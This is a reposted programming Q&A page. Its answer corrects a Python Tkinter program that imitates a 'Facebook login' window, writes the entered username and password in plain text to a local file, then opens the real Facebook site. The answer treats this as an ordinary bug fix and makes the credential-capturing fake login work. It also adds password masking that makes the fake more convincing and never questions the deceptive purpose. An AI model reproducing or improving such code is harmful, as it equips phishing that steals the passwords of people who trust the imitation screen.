You need to enable JavaScript to run this app.
最新活动
大模型
产品
解决方案
定价
生态与合作
支持与服务
开发者
了解我们

Python Tkinter中Entry输入数据保存报错及Tk对象转存问题

How to Fix Tkinter Entry Data Saving Error & Correct Object-to-String Issues

Looking at your code, the main error stems from two key problems: trying to concatenate a Tkinter window object (win) with a string, and running your data-saving logic at the wrong time (after the main loop exits, when your Entry widgets are already destroyed). Let’s break down how to fix this:

1. The Core String Concatenation Error

Your line file.write("username:\t"+win) attempts to combine a string with the Tk window instance win—this will throw a TypeError because Tk objects can’t be directly converted to strings like that. Worse, this line doesn’t align with your goal: you want to save the username entered in the uid Entry widget, not the window object itself.

2. Fixing the Data-Timing Issue

win.mainloop() runs until your window is closed. Any code after this line won’t execute until the window is destroyed, which means your uid.get() and pas.get() calls will return empty strings (since the Entry widgets no longer exist). You need to move your data-saving logic inside the function that runs when the user clicks the button.

Corrected Full Code

Here’s the revised version of your code with these fixes, plus some best practices (like using with for file handling to avoid resource leaks):

from tkinter import *
from tkinter import messagebox
import webbrowser

win = Tk()
win.title("Facebook login")

lbl = Label(win, text="Please enter your login and password")
lbl.grid(column=5, row=3)

uid = Entry(win, width=30)
pas = Entry(win, width=30, show="*")  # Added show="*" to hide password input
uid.grid(column=3, row=6)
pas.grid(column=3, row=9)

def click():
    # Get input values when the button is clicked (while widgets exist)
    username = uid.get().strip()
    password = pas.get().strip()
    
    # Validate input before saving
    if not username or not password:
        messagebox.showwarning("Input Error", "Please enter both username and password!")
        return
    
    # Save data safely with a 'with' statement
    try:
        with open('D:\\cover.txt', 'w+') as file:
            file.write(f"username:\t{username}\n")
            file.write(f"password:\t{password}\n")
        messagebox.showinfo("Success", "Login data saved successfully!")
        webbrowser.open('https://www.facebook.com/')
        win.destroy()  # Close window after successful save
    except Exception as e:
        messagebox.showerror("Save Error", f"Failed to save data: {str(e)}")
        webbrowser.open('https://www.facebook.com/')

def kill():
    win.destroy()

button1 = Button(win, text="Login", command=click)
button1.grid(column=7, row=11)

win.mainloop()

Key Changes Explained

  • Moved uid.get() and pas.get() inside the click function to capture input when the user clicks Login (while the widgets are still active)
  • Replaced the invalid win reference in file.write with the actual username/password variables
  • Added input validation to prevent empty submissions
  • Used with open(...) to handle file operations automatically (closes the file even if an error occurs)
  • Added show="*" to the password Entry to mask input (a basic security improvement)
  • Restructured the flow to save data first, then show feedback and open Facebook

Bonus: Converting Tk Objects to Strings (If Needed)

If you ever actually need to convert a Tkinter object to a string (though you don’t need it here), you can use the str() function, e.g., str(win). But this will only return a generic object reference string (like .!tk), which isn’t useful for saving user data. Always target the specific widget’s value (like Entry.get()) instead.

内容的提问来源于stack exchange,提问作者punnyartha banerjee

火山引擎 最新活动